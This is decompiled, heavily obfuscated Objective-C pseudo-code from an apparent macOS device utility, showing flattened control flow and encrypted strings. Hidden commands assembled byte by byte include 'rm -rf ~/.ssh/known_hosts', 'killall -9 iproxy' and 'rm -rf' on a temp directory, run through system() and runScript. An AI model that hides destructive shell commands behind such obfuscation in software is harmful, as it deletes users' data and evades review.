CFSTR("\x88\x93d\x1A\xE9\xE5\x3DO\x18\xB4\x84\xA05y\xA5\x9B9\x82Xʇ\xA8<\r\xF8Y\xB92\x8B"),
v79);
*v103 = 139372908;
break;
case 1723094772:
v23 = objc_msgSend(obj, v59, v88, v83, 16);
v18 = 0;
v69 = v23;
v1 = 1654370781;
v19 = -1430806971;
goto LABEL_273;
}
}
else
{
switch ( v76 )
{
case 1491957491:
v94 = **v50 == (_QWORD)isa;
v25 = 0;
v1 = 1478991906;
v26 = -1198345504;
goto LABEL_277;
case 1525316920:
v18 = 0;
v1 = -1754052790;
v19 = -1122175552;
goto LABEL_273;
case 1615132388:
v20 = objc_msgSend(
v68,
"stringWithFormat:",
CFSTR("<\xD2\x29\x98\xB0\xF0\x5F\xD8\x38\x1E\xD0\xF5J\xF2\x57\x3D\xBA\xFBw\x9E\xE3A\xE1\x53\x85ώ\xBA\x13\x8A\xC3\x68v\xCA\x3C\xCB\x2A\x8Aܑ\x83\x9A\xB9D"));
v54 = objc_retainAutoreleasedReturnValue(v20);
showErrMessage(v54);
v18 = 0;
v1 = -127534635;
v19 = 422264578;
goto LABEL_273;
}
}
}
else if ( v76 <= 1818188640 )
{
switch ( v76 )
{
case 1747662302:
v18 = 1;
v68 = &OBJC_CLASS___NSString;
v1 = 1747662302;
v19 = -1957332299;
goto LABEL_273;
case 1754056265:
*v103 = 751197447;
break;
case 1793614807:
v90 = v75 == 0;
*v103 = 1046628766;
break;
}
}
else if ( v76 > 2034054612 )
{
if ( v76 == 2034054613 )
{
v25 = 1;
v1 = 1747662302;
v26 = 577124410;
LABEL_277:
if ( !v25 )
v1 = v26;
LABEL_279:
*v103 = v1;
}
else if ( v76 == 2131253495 )
{
v25 = 1;
isa = v51->isa;
v60 = v88 + 1;
v1 = 8279208;
v26 = 2131253495;
goto LABEL_277;
}
}
else
{
if ( v76 == 1818188641 )
{
v18 = 0;
v1 = -1932700280;
v19 = 841713257;
LABEL_273:
if ( v18 )
v1 = v19;
goto LABEL_279;
}
if ( v76 == 1829065581 )
{
v56 = v70;
v61 = "objectForKeyedSubscript:";
v62 = "mainBundle";
v63 = "pathForResource:ofType:";
v64 = "defaultManager";
v65 = "fileExistsAtPath:";
v84 = "lowercaseString";
v66 = "isEqualToString:";
*v103 = 1427234470;
v71 = 0;
}
}
}
if ( v76 > 1323861289 )
break;
if ( v76 <= 1198589093 )
{
switch ( v76 )
{
case 917910706:
*v103 = -838170721;
break;
case 1046628766:
v18 = 1;
v1 = 1754056265;
v19 = 751197447;
goto LABEL_273;
case 1145714894:
v27 = 1427234470;
if ( v99 )
v27 = -124814095;
*v103 = v27;
v71 = v55;
break;
}
}
else if ( v76 > 1279355176 )
{
if ( v76 == 1279355177 )
{
*v103 = -870782481;
}
else if ( v76 == 1319345637 )
{
v18 = 1;
v1 = 631927141;
v19 = 1362001783;
goto LABEL_273;
}
}
else
{
if ( v76 == 1198589094 )
{
v18 = 1;
v1 = 1716110533;
v19 = 139372908;
goto LABEL_273;
}
if ( v76 == 1216685325 )
{
v8 = *(_QWORD *)(*v60 + 8 * v82);
v9 = objc_msgSend(obj, v61, v8);
objc_retainAutoreleasedReturnValue(v9);
v10 = objc_msgSend(&OBJC_CLASS___NSBundle, v62);
v11 = objc_retainAutoreleasedReturnValue(v10);
v12 = objc_msgSend(v11, v63, v8, &stru_10025B688);
v13 = objc_retainAutoreleasedReturnValue(v12);
objc_release(v11);
v14 = objc_msgSend(&OBJC_CLASS___NSFileManager, v64);
v15 = objc_retainAutoreleasedReturnValue(v14);
objc_msgSend(v15, v65, v13);
*v103 = -1497621206;
}
}
}
if ( v76 > 1440585005 )
break;
switch ( v76 )
{
case 1323861290:
*v103 = 687023091;
break;
case 1362001783:
v40 = objc_msgSend(v85, v84);
v81 = objc_retainAutoreleasedReturnValue(v40);
v41 = HikariFunctionWrapper_17065(v86, v84);
v67 = objc_retainAutoreleasedReturnValue(v41);
v42 = (unsigned __int8)objc_msgSend(v81, v66, v67);
v6 = 0;
v97 = v42;
v1 = 1362001783;
v7 = -1069172880;
goto LABEL_263;
case 1427234470:
v82 = v71;
v25 = 0;
v1 = 1478991906;
v26 = 1491957491;
goto LABEL_277;
}
}
if ( v76 <= 1478991905 )
break;
if ( v76 == 1478991906 )
{
*v103 = 1491957491;
}
else if ( v76 == 1480541452 )
{
*v103 = 627663851;
}
}
if ( v76 != 1443791769 )
break;
v28 = objc_msgSend(v57, v58, v77, v78, 1);
v29 = objc_retainAutoreleasedReturnValue(v28);
v30 = v88;
*(_OWORD *)v88 = 0;
*((_OWORD *)v30 + 1) = 0;
*((_OWORD *)v30 + 2) = 0;
*((_OWORD *)v30 + 3) = 0;
objc_retain(v29);
objc_msgSend(v29, "countByEnumeratingWithState:objects:count:", v88, v83, 16);
*v103 = -13286137;
}
}
while ( v76 != 1440585006 );
return v101;
}
// 10025B688: using guessed type __CFString stru_10025B688;
// 100279C60: using guessed type __CFString stru_100279C60;
// 100279CA0: using guessed type __CFString stru_100279CA0;
// 100279D20: using guessed type __CFString cfstr_K_6;
// 10029F514: using guessed type int dword_10029F514;
//----- (00000001000DFCA4) ----------------------------------------------------
void __cdecl -[AppDelegate copyToPasteboard:](AppDelegate *self, SEL a2, id a3)
{
int v4; // eax
bool v5; // zf
int v6; // ecx
char v7; // cf
int v8; // ecx
char v9; // cf
int v10; // ecx
id v11; // rax
NSArray *v12; // rax
NSArray *v13; // r15
id v14; // rax
id v15; // r15
NSArray *v16; // rax
NSArray *v17; // r12
__int64 v18; // [rsp+0h] [rbp-70h] BYREF
id v19; // [rsp+8h] [rbp-68h]
SEL v20; // [rsp+10h] [rbp-60h]
int v21; // [rsp+18h] [rbp-58h]
int v22; // [rsp+1Ch] [rbp-54h] BYREF
id v23; // [rsp+20h] [rbp-50h]
__int64 *v24; // [rsp+28h] [rbp-48h]
bool v25; // [rsp+36h] [rbp-3Ah]
char v26; // [rsp+37h] [rbp-39h]
int *v27; // [rsp+38h] [rbp-38h]
__int64 v28; // [rsp+40h] [rbp-30h]
v28 = -1;
v21 = dword_10029F518;
v22 = -1513537494;
v27 = &v22;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v22 <= 19615350 )
{
if ( v22 <= -1463765196 )
{
if ( v22 > -1514243702 )
{
switch ( v22 )
{
case -1514243701:
v5 = 0;
v4 = -1514243701;
v6 = 205906145;
LABEL_60:
if ( !v5 )
v4 = v6;
goto LABEL_67;
case -1513537494:
v25 = v21 == 0;
*v27 = -1610906256;
break;
case -1510680333:
*v27 = 285988300;
break;
}
}
else
{
switch ( v22 )
{
case -1758337373:
objc_retain(a3);
v11 = HikariFunctionWrapper_17075(v19, v20);
v23 = objc_retainAutoreleasedReturnValue(v11);
*v24 = -1;
v12 = +[NSArray arrayWithObjects:count:](&OBJC_CLASS___NSArray, "arrayWithObjects:count:", v24, 1);
v13 = objc_retainAutoreleasedReturnValue(v12);
objc_msgSend(v23, "declareTypes:owner:", v13, 0);
objc_release(v13);
objc_msgSend(v23, "setString:forType:", a3, -1);
v7 = 0;
v4 = -1510680333;
v8 = -1463765195;
LABEL_56:
if ( v7 )
v4 = v8;
goto LABEL_67;
case -1610906256:
v5 = 0;
v4 = -830093785;
v6 = -1514243701;
goto LABEL_60;
case -1565714925:
*v27 = -342293231;
break;
}
}
}
else if ( v22 <= -650212004 )
{
switch ( v22 )
{
case -1463765195:
objc_retain(a3);
v14 = objc_msgSend(v19, v20);
v15 = objc_retainAutoreleasedReturnValue(v14);
*v24 = -1;
v16 = +[NSArray arrayWithObjects:count:](&OBJC_CLASS___NSArray, "arrayWithObjects:count:", v24, 1);
v17 = objc_retainAutoreleasedReturnValue(v16);
objc_msgSend(v15, "declareTypes:owner:", v17, 0);
objc_release(v17);
objc_msgSend(v15, "setString:forType:", a3, -1);
*v27 = -1758337373;
break;
case -1233303990:
asc_100279DA0[0] = 67;
asc_100279DA0[1] = 111;
asc_100279DA0[2] = 112;
*v27 = 376529990;
break;
case -830093785:
*v27 = -1514243701;
break;
}
}
else if ( v22 > -176047641 )
{
if ( v22 == -176047640 )
{
dword_10029F518 = 1;
v7 = 1;
v24 = &v18 - 2;
v19 = &OBJC_CLASS___NSPasteboard;
v20 = "generalPasteboard";
v4 = -650212003;
v8 = 19615351;
goto LABEL_56;
}
if ( v22 == -175164559 )
{
asc_100279DA0[13] = v26 ^ 0x92;
asc_100279DA0[14] = 101;
asc_100279DA0[15] = 66;
asc_100279DA0[16] = 111;
asc_100279DA0[17] = 97;
asc_100279DA0[18] = 114;
asc_100279DA0[19] = 100;
asc_100279DA0[20] = 33;
asc_100279DA0[21] = 0;
*v27 = 378607582;
}
}
else if ( v22 == -650212003 )
{
dword_10029F518 = 1;
*v27 = -176047640;
}
else if ( v22 == -342293231 )
{
v4 = 1822113203;
goto LABEL_67;
}
}
if ( v22 <= 1144971803 )
break;
if ( v22 > 1822113202 )
{
switch ( v22 )
{
case 1822113203:
asc_100279DA0[3] = 105;
asc_100279DA0[4] = 101;
asc_100279DA0[5] = 100;
asc_100279DA0[6] = 32;
asc_100279DA0[7] = 105;
asc_100279DA0[8] = 110;
asc_100279DA0[9] = 32;
asc_100279DA0[10] = 112;
v9 = 1;
asc_100279DA0[11] = 97;
asc_100279DA0[12] = 115;
v26 = -26;
v4 = 1865286453;
v10 = 1552741199;
LABEL_65:
if ( !v9 )
v4 = v10;
LABEL_67:
*v27 = v4;
break;
case 1865286453:
*v27 = 2123679929;
break;
case 2123679929:
v7 = 0;
v4 = 378607582;
v8 = -175164559;
goto LABEL_56;
}
}
else
{
switch ( v22 )
{
case 1144971804:
*v27 = 1401880191;
break;
case 1401880191:
v7 = 1;
v4 = -650212003;
v8 = -176047640;
goto LABEL_56;
case 1552741199:
asc_100279DA0[3] = 105;
asc_100279DA0[4] = 101;
asc_100279DA0[5] = 100;
asc_100279DA0[6] = 32;
asc_100279DA0[7] = 105;
asc_100279DA0[8] = 110;
asc_100279DA0[9] = 32;
asc_100279DA0[10] = 112;
asc_100279DA0[11] = 97;
asc_100279DA0[12] = 115;
*v27 = 1822113203;
break;
}
}
}
if ( v22 <= 378607581 )
break;
switch ( v22 )
{
case 378607582:
asc_100279DA0[13] = v26 - 2 * (v26 & 0x12) - 110;
asc_100279DA0[14] = 101;
asc_100279DA0[15] = 66;
asc_100279DA0[16] = 111;
asc_100279DA0[17] = 97;
asc_100279DA0[18] = 114;
asc_100279DA0[19] = 100;
asc_100279DA0[20] = 33;
v9 = 0;
asc_100279DA0[21] = 0;
v4 = 378607582;
v10 = 1144971804;
goto LABEL_65;
case 406603230:
v9 = 0;
v4 = -1463765195;
v10 = -1758337373;
goto LABEL_65;
case 776542344:
v7 = 0;
v4 = 376529990;
v8 = -1233303990;
goto LABEL_56;
}
}
if ( v22 > 285988299 )
break;
if ( v22 == 19615351 )
{
*v27 = 406603230;
}
else if ( v22 == 205906145 )
{
v5 = !v25;
v4 = 1401880191;
v6 = 776542344;
goto LABEL_60;
}
}
if ( v22 != 376529990 )
break;
asc_100279DA0[0] = 67;
asc_100279DA0[1] = 111;
asc_100279DA0[2] = 112;
*v27 = -1565714925;
}
}
while ( v22 != 285988300 );
objc_release(a3);
showOkMessage(CFSTR("\x11\xC0\xC1\tq\x00:R\x84s\xF1\x1E\xEE\xCF\xB8\x19\x1F\x95\x1A\v\xFAM"));
objc_release(v23);
}
// 100279DE0: using guessed type __CFString stru_100279DE0;
// 10029F518: using guessed type int dword_10029F518;
//----- (00000001000E06B2) ----------------------------------------------------
__int64 __fastcall showOkMessage(id a1)
{
__int64 (__fastcall *v2)(__int64); // r13
void *v3; // r14
__int64 result; // rax
int v5; // eax
bool v6; // cf
int v7; // ecx
char v8; // cf
int v9; // ecx
id *v10; // r15
bool v11; // zf
int v12; // ecx
void *v13; // r12
__int64 (__fastcall *v14)(__int64); // r14
_QWORD *v15; // r13
void *v16; // rdi
__int64 v17; // [rsp+0h] [rbp-60h] BYREF
_DWORD *v18; // [rsp+8h] [rbp-58h]
unsigned int v19; // [rsp+14h] [rbp-4Ch]
int v20; // [rsp+18h] [rbp-48h]
int v21; // [rsp+1Ch] [rbp-44h] BYREF
dispatch_block_t block; // [rsp+20h] [rbp-40h]
bool v23; // [rsp+2Dh] [rbp-33h]
char v24; // [rsp+2Eh] [rbp-32h]
char v25; // [rsp+2Fh] [rbp-31h]
int *v26; // [rsp+30h] [rbp-30h]
v19 = -184549377;
v21 = 2079400668;
v26 = &v21;
v2 = __showOkMessage_block_invoke;
v3 = &__block_descriptor_40_e8_32s_e5_v8__0l;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v21;
if ( v21 > 166489276 )
break;
if ( v21 > -752526039 )
{
if ( v21 > -398409427 )
{
if ( v21 > 78612026 )
{
if ( v21 == 78612027 )
{
*v26 = 2084215326;
}
else if ( v21 == 123818265 )
{
*v26 = 899008346;
}
}
else if ( v21 == -398409426 )
{
*v26 = 1506379563;
}
else if ( v21 == 1017418 )
{
v6 = 0;
v20 = dword_10029F51C;
v5 = -1646239464;
v7 = 1017418;
goto LABEL_83;
}
}
else if ( v21 > -522064968 )
{
if ( v21 == -522064967 )
{
asc_1002779C0[17] = v25;
asc_1002779C0[18] = 84;
asc_1002779C0[19] = 117;
asc_1002779C0[20] = 110;
asc_1002779C0[21] = 101;
asc_1002779C0[22] = 115;
asc_1002779C0[23] = 0;
strcpy(asc_100277980, "/usr/bin/killall ProcessMonitor");
strcpy(a5_3, "/usr/bin/killall -9 iproxy");
*v26 = 1085918476;
}
else if ( v21 == -516262072 )
{
v11 = 0;
v5 = -771164779;
v12 = -1908612411;
goto LABEL_87;
}
}
else
{
if ( v21 == -752526038 )
{
v23 = v20 == 0;
v6 = 0;
v5 = -1291504746;
v7 = 2048972231;
goto LABEL_83;
}
if ( v21 == -648345302 )
{
v8 = 1;
dword_10029F51C = 1;
v5 = 78612027;
v9 = -648345302;
goto LABEL_76;
}
}
}
else if ( v21 > -1291504747 )
{
if ( v21 > -824833927 )
{
if ( v21 == -824833926 )
{
asc_100277A00[0] = 114;
asc_100277A00[1] = 109;
asc_100277A00[2] = 32;
asc_100277A00[3] = 45;
asc_100277A00[4] = 114;
asc_100277A00[5] = 102;
asc_100277A00[6] = 32;
asc_100277A00[7] = 126;
asc_100277A00[8] = 47;
v24 = 46;
*v26 = 123818265;
}
else if ( v21 == -771164779 )
{
*v26 = -1908612411;
}
}
else if ( v21 == -1291504746 )
{
*v26 = -516262072;
}
else if ( v21 == -1260061335 )
{
*v18 = -1040187392;
*((_DWORD *)block + 3) = 0;
*((_QWORD *)block + 2) = v2;
*((_QWORD *)block + 3) = v3;
v10 = (id *)block;
*((_QWORD *)block + 4) = a1;
objc_retain(a1);
dispatch_async(&_dispatch_main_q, block);
objc_release(v10[4]);
objc_release(a1);
*v26 = -1948023035;
}
}
else if ( v21 > -1738499078 )
{
if ( v21 == -1738499077 )
{
v8 = 1;
v5 = -752526038;
v9 = 2048972231;
goto LABEL_76;
}
if ( v21 == -1646239464 )
*v26 = -1738499077;
}
else
{
if ( v21 == -1948023035 )
{
*v18 = -1040187392;
*((_DWORD *)block + 3) = 0;
*((_QWORD *)block + 2) = v2;
*((_QWORD *)block + 3) = v3;
v13 = v3;
v14 = v2;
v15 = block;
*((_QWORD *)block + 4) = a1;
objc_retain(a1);
HikariFunctionWrapper_17085(&_dispatch_main_q, block);
v16 = (void *)v15[4];
v2 = v14;
v3 = v13;
objc_release(v16);
objc_release(a1);
v8 = 0;
v5 = -1948023035;
v9 = 909990659;
goto LABEL_76;
}
if ( v21 == -1908612411 )
{
v6 = 1;
v5 = -771164779;
v7 = 615142218;
goto LABEL_83;
}
}
}
if ( v21 <= 1608986895 )
break;
if ( v21 > 1967328186 )
{
if ( v21 > 2079400667 )
{
if ( v21 == 2084215326 )
{
block = &v17 - 6;
objc_retain(a1);
HikariFunctionWrapper_17077(CFSTR("\x1A\x7FL\xC2\xE2ܲ\x9C\x88k\xF2\x99\x47\x04C\xBC\x18\x02\x8Ae\"6U\x03"));
HikariFunctionWrapper_17079(CFSTR("\xAF\xEF\x59\xB8b\xE2\x29\x6E\x8D3AopZ\xFA \x11\x17)\x82]\a\xA5N"));
HikariFunctionWrapper_17081(CFSTR("\xF9\x81\x8C\xCA\x60\x04\xACZ\xBBm\x836\x8B\xD5\x77\xBF\xC1\x65\x0F\xE7\xBE\xF9\xE4\xE5\x04\xF5\xEA\x3C\x29p\xBD"));
HikariFunctionWrapper_17083(CFSTR("5\x92\x10\xBA\x1CsХ\x85\xA6\xA3J\xD0\x63Wƞ\x19G/c]Z\xDD\x6D\xA0!"));
*(_QWORD *)block = _NSConcreteStackBlock;
v18 = (char *)block + 8;
*v26 = 166489277;
}
else if ( v21 == 2079400668 )
{
v6 = v19 < 0x9A811C15;
v5 = 1017418;
v7 = 339159624;
goto LABEL_83;
}
}
else if ( v21 == 1967328187 )
{
asc_100277A00[9] = v24;
asc_100277A00[10] = 115;
asc_100277A00[11] = 115;
asc_100277A00[12] = 104;
asc_100277A00[13] = 47;
asc_100277A00[14] = 107;
asc_100277A00[15] = 110;
asc_100277A00[16] = 111;
asc_100277A00[17] = 119;
asc_100277A00[18] = 110;
asc_100277A00[19] = 95;
asc_100277A00[20] = 104;
asc_100277A00[21] = 111;
asc_100277A00[22] = 115;
asc_100277A00[23] = 116;
asc_100277A00[24] = 115;
asc_100277A00[25] = 0;
qmemcpy(asc_1002779C0, "/usr/bin/killall ", 17);
*v26 = 1854611455;
}
else if ( v21 == 2048972231 )
{
*v26 = -752526038;
}
}
else if ( v21 > 1878526951 )
{
if ( v21 == 1878526952 )
{
asc_100277A00[0] = 114;
asc_100277A00[1] = 109;
asc_100277A00[2] = 32;
asc_100277A00[3] = 45;
asc_100277A00[4] = 114;
asc_100277A00[5] = 102;
asc_100277A00[6] = 32;
asc_100277A00[7] = 126;
asc_100277A00[8] = 47;
*v26 = -824833926;
}
else if ( v21 == 1960135241 )
{
*v26 = 1608986896;
}
}
else
{
if ( v21 == 1608986896 )
{
v8 = 1;
v5 = 1085918476;
v9 = -522064967;
LABEL_76:
if ( !v8 )
v5 = v9;
goto LABEL_89;
}
if ( v21 == 1854611455 )
{
asc_100277A00[9] = v24;
asc_100277A00[10] = 115;
asc_100277A00[11] = 115;
asc_100277A00[12] = 104;
asc_100277A00[13] = 47;
asc_100277A00[14] = 107;
asc_100277A00[15] = 110;
asc_100277A00[16] = 111;
asc_100277A00[17] = 119;
asc_100277A00[18] = 110;
asc_100277A00[19] = 95;
asc_100277A00[20] = 104;
asc_100277A00[21] = 111;
asc_100277A00[22] = 115;
asc_100277A00[23] = 116;
asc_100277A00[24] = 115;
asc_100277A00[25] = 0;
qmemcpy(asc_1002779C0, "/usr/bin/killall ", 17);
v6 = 1;
v25 = 105;
v5 = 1967328187;
v7 = 1960135241;
goto LABEL_83;
}
}
}
if ( v21 > 899008345 )
break;
if ( v21 > 615142217 )
{
if ( v21 == 615142218 )
{
v11 = !v23;
v5 = 1506379563;
v12 = 1484074777;
LABEL_87:
if ( !v11 )
v5 = v12;
LABEL_89:
*v26 = v5;
}
else if ( v21 == 885353583 )
{
dword_10029F51C = 1;
*v26 = -648345302;
}
}
else
{
if ( v21 == 166489277 )
{
v6 = 1;
v5 = -1260061335;
v7 = -1948023035;
LABEL_83:
if ( v6 )
v5 = v7;
goto LABEL_89;
}
if ( v21 == 339159624 )
*v26 = 1017418;
}
}
if ( v21 <= 1484074776 )
break;
if ( v21 == 1484074777 )
{
v5 = -824833926;
goto LABEL_89;
}
if ( v21 == 1506379563 )
{
v6 = 0;
v5 = -648345302;
v7 = 885353583;
goto LABEL_83;
}
}
if ( v21 == 899008346 )
{
v8 = 0;
v5 = 1967328187;
v9 = 1854611455;
goto LABEL_76;
}
if ( v21 == 1085918476 )
{
asc_1002779C0[17] = v25;
asc_1002779C0[18] = 84;
asc_1002779C0[19] = 117;
asc_1002779C0[20] = 110;
asc_1002779C0[21] = 101;
asc_1002779C0[22] = 115;
asc_1002779C0[23] = 0;
strcpy(asc_100277980, "/usr/bin/killall ProcessMonitor");
strcpy(a5_3, "/usr/bin/killall -9 iproxy");
v5 = -398409426;
goto LABEL_89;
}
}
while ( v21 != 909990659 );
return result;
}
// 100279E20: using guessed type __CFString stru_100279E20;
// 100279E60: using guessed type __CFString cfstr_5_3_0;
// 100279EA0: using guessed type __CFString stru_100279EA0;
// 100279EE0: using guessed type __CFString stru_100279EE0;
// 10029F51C: using guessed type int dword_10029F51C;
//----- (00000001000E1D2F) ----------------------------------------------------
void __cdecl -[AppDelegate applicationWillTerminate:](AppDelegate *self, SEL a2, id a3)
{
int v3; // eax
char v4; // cf
int v5; // ecx
id v6; // rax
id v7; // rax
id v8; // rax
id v9; // r15
NSString *v10; // rax
NSString *v11; // r14
NSNotificationCenter *v12; // rax
NSNotificationCenter *v13; // r14
id v14; // rax
id v15; // rax
NSNotificationCenter *v16; // rax
NSNotificationCenter *v17; // r13
id v18; // rax
id v19; // r14
id v20; // rax
id v21; // r15
id v22; // rax
id v23; // r14
id v24; // [rsp+8h] [rbp-58h]
int v25; // [rsp+18h] [rbp-48h]
int v26; // [rsp+1Ch] [rbp-44h] BYREF
id v27; // [rsp+20h] [rbp-40h]
bool v28; // [rsp+2Dh] [rbp-33h]
char v29; // [rsp+2Eh] [rbp-32h]
char v30; // [rsp+2Fh] [rbp-31h]
int *v31; // [rsp+30h] [rbp-30h]
v25 = dword_10029F520;
v26 = -983582228;
v31 = &v26;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v26 <= 717413077 )
{
if ( v26 <= -383389767 )
{
if ( v26 > -863270776 )
{
switch ( v26 )
{
case -863270775:
v3 = 428433192;
goto LABEL_66;
case -833961719:
v15 = TemporaryDir();
objc_retainAutoreleasedReturnValue(v15);
*v31 = 428433192;
break;
case -433981393:
aQ_11[0] = 107;
byte_100279F3C = 105;
byte_100279F3D = 108;
byte_100279F3E = 108;
byte_100279F3F = 97;
byte_100279F40 = 108;
byte_100279F41 = 108;
*v31 = 1258291088;
break;
}
}
else
{
switch ( v26 )
{
case -1449379129:
*v31 = 837387114;
break;
case -1431756249:
v4 = 1;
v3 = 1258291088;
v5 = -433981393;
goto LABEL_57;
case -983582228:
v4 = 0;
v3 = -1449379129;
v5 = 837387114;
goto LABEL_57;
}
}
}
else if ( v26 <= 428433191 )
{
switch ( v26 )
{
case -383389766:
byte_100279F42 = v30;
byte_100279F43 = 45;
byte_100279F44 = 57;
byte_100279F45 = 32;
byte_100279F46 = 97;
byte_100279F47 = 108;
a3 = (id)1276151661;
byte_100279F48 = 118;
byte_100279F49 = 0;
asc_100279F22[0] = 114;
asc_100279F22[1] = 109;
asc_100279F22[2] = 32;
asc_100279F22[3] = 45;
asc_100279F22[4] = 114;
asc_100279F22[5] = 102;
asc_100279F22[6] = 32;
v29 = 3;
v3 = 599089673;
goto LABEL_66;
case 271861094:
v18 = objc_msgSend(v24, "stringWithFormat:", CFSTR("\xA5$\x97\xD5\xCD\x84\x15!"), v27);
v19 = objc_retainAutoreleasedReturnValue(v18);
runScript(v19);
objc_release(v19);
objc_release(v27);
v20 = TemporaryDir();
v21 = objc_retainAutoreleasedReturnValue(v20);
v22 = HikariFunctionWrapper_17093(&OBJC_CLASS___NSString, "stringWithFormat:");
v23 = objc_retainAutoreleasedReturnValue(v22);
runScript(v23);
objc_release(v23);
objc_release(v21);
*v31 = 330672395;
break;
case 330672395:
v6 = HikariFunctionWrapper_17087(v24, "stringWithFormat:");
v7 = objc_retainAutoreleasedReturnValue(v6);
HikariFunctionWrapper_17089(v7);
objc_release(v7);
objc_release(v27);
v8 = TemporaryDir();
v9 = objc_retainAutoreleasedReturnValue(v8);
v10 = +[NSString stringWithFormat:](
&OBJC_CLASS___NSString,
"stringWithFormat:",
CFSTR("\xD2\x65}L\x05\xAF\x97\xE9\x2D\x71\xBFC"),
v9);
v11 = objc_retainAutoreleasedReturnValue(v10);
runScript(v11);
objc_release(v11);
objc_release(v9);
v4 = 1;
v3 = 717413078;
v5 = 330672395;
goto LABEL_57;
}
}
else if ( v26 > 599089672 )
{
if ( v26 == 599089673 )
{
*v31 = 1382362388;
}
else if ( v26 == 710588778 )
{
*v31 = 1859807787;
}
}
else
{
if ( v26 == 428433192 )
{
v14 = TemporaryDir();
v27 = objc_retainAutoreleasedReturnValue(v14);
v3 = 710588778;
goto LABEL_66;
}
if ( v26 == 501378113 )
{
v3 = 1008391701;
if ( v28 )
v3 = -1431756249;
goto LABEL_66;
}
}
}
if ( v26 <= 1283268654 )
break;
if ( v26 > 1722139066 )
{
switch ( v26 )
{
case 1722139067:
*v31 = -863270775;
break;
case 1859807787:
a3 = (id)555926720;
v3 = 330672395;
goto LABEL_66;
case 2116739509:
v3 = -383389766;
goto LABEL_66;
}
}
else
{
switch ( v26 )
{
case 1283268655:
*v31 = 501378113;
break;
case 1296883100:
byte_100279F42 = v30;
byte_100279F43 = 45;
byte_100279F44 = 57;
byte_100279F45 = 32;
byte_100279F46 = 97;
byte_100279F47 = 108;
byte_100279F48 = 118;
byte_100279F49 = 0;
asc_100279F22[0] = 114;
asc_100279F22[1] = 109;
asc_100279F22[2] = 32;
asc_100279F22[3] = 45;
asc_100279F22[4] = 114;
asc_100279F22[5] = 102;
asc_100279F22[6] = 32;
*v31 = -383389766;
break;
case 1382362388:
asc_100279F22[7] = v29 ^ 0x26;
asc_100279F22[8] = 64;
asc_100279F22[9] = 0;
strcpy(asc_100279F0C, "mkdir -p %@");
*v31 = 1008391701;
break;
}
}
}
if ( v26 <= 1101883635 )
break;
switch ( v26 )
{
case 1101883636:
dword_10029F520 = 1;
v16 = +[NSNotificationCenter defaultCenter](&OBJC_CLASS___NSNotificationCenter, "defaultCenter");
v17 = objc_retainAutoreleasedReturnValue(v16);
-[NSNotificationCenter removeObserver:](v17, "removeObserver:", self);
objc_release(v17);
system(aQ_11);
v4 = 1;
v24 = &OBJC_CLASS___NSString;
v3 = 1722139067;
v5 = 906122244;
LABEL_57:
if ( !v4 )
v3 = v5;
LABEL_66:
*v31 = v3;
break;
case 1123580515:
*v31 = 2116739509;
break;
case 1258291088:
LOBYTE(a3) = 105;
aQ_11[0] = 107;
byte_100279F3C = 105;
byte_100279F3D = 108;
byte_100279F3E = 108;
byte_100279F3F = 97;
byte_100279F40 = 108;
byte_100279F41 = 108;
v30 = 32;
v3 = 1123580515;
goto LABEL_66;
}
}
if ( v26 <= 906122243 )
break;
if ( v26 == 906122244 )
{
dword_10029F520 = 1;
v12 = +[NSNotificationCenter defaultCenter](&OBJC_CLASS___NSNotificationCenter, "defaultCenter", a3);
v13 = objc_retainAutoreleasedReturnValue(v12);
-[NSNotificationCenter removeObserver:](v13, "removeObserver:", self);
objc_release(v13);
HikariFunctionWrapper_17091(aQ_11);
*v31 = 1101883636;
}
else if ( v26 == 1008391701 )
{
a3 = (id)734979046;
v3 = 1101883636;
goto LABEL_66;
}
}
if ( v26 == 837387114 )
{
a3 = (id)858471068;
v28 = v25 == 0;
v4 = 0;
v3 = -1449379129;
v5 = 1283268655;
goto LABEL_57;
}
}
while ( v26 != 717413078 );
}
// 1000E2209: variable 'v24' is possibly undefined
// 1000E2374: variable 'a3' is possibly undefined
// 100279F3C: using guessed type char byte_100279F3C;
// 100279F3D: using guessed type char byte_100279F3D;
// 100279F3E: using guessed type char byte_100279F3E;
// 100279F3F: using guessed type char byte_100279F3F;
// 100279F40: using guessed type char byte_100279F40;
// 100279F41: using guessed type char byte_100279F41;
// 100279F42: using guessed type char byte_100279F42;
// 100279F43: using guessed type char byte_100279F43;
// 100279F44: using guessed type char byte_100279F44;
// 100279F45: using guessed type char byte_100279F45;
// 100279F46: using guessed type char byte_100279F46;
// 100279F47: using guessed type char byte_100279F47;
// 100279F48: using guessed type char byte_100279F48;
// 100279F49: using guessed type char byte_100279F49;
// 100279F70: using guessed type __CFString stru_100279F70;
// 100279FB0: using guessed type __CFString stru_100279FB0;
// 10029F520: using guessed type int dword_10029F520;
//----- (00000001000E28BF) ----------------------------------------------------
__int64 __fastcall runScript(void *a1)
{
__int64 result; // rax
int v2; // eax
int v3; // ecx
id v4; // rax
id v5; // rax
id v6; // rax
id v7; // r12
NSString *v8; // rax
NSString *v9; // r15
NSArray *v10; // rax
NSPipe *v11; // rax
id v12; // rax
id v13; // rax
id v14; // rax
id v15; // r12
id v16; // rax
id v17; // r15
NSArray *v18; // rax
NSArray *v19; // r14
NSPipe *v20; // rax
NSPipe *v21; // r14
id v22; // rax
id v23; // r14
id v24; // rax
id v25; // rax
id v26; // [rsp+0h] [rbp-80h]
int v27; // [rsp+10h] [rbp-70h]
int v28; // [rsp+14h] [rbp-6Ch] BYREF
id v29; // [rsp+18h] [rbp-68h]
id v30; // [rsp+20h] [rbp-60h]
id v31; // [rsp+28h] [rbp-58h]
id v32; // [rsp+30h] [rbp-50h]
id v33; // [rsp+38h] [rbp-48h]
id v34; // [rsp+40h] [rbp-40h]
bool v35; // [rsp+4Eh] [rbp-32h]
char v36; // [rsp+4Fh] [rbp-31h]
int *v37; // [rsp+50h] [rbp-30h]
v33 = a1;
v28 = 1889971321;
v37 = &v28;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v28;
if ( v28 > 310277731 )
break;
if ( v28 <= -527075257 )
{
if ( v28 <= -978068826 )
{
switch ( v28 )
{
case -1224924063:
asc_100279FE4[0] = 47;
asc_100279FE4[1] = 98;
v36 = 127;
v2 = -116909693;
goto LABEL_77;
case -1205328128:
*v37 = -670386984;
break;
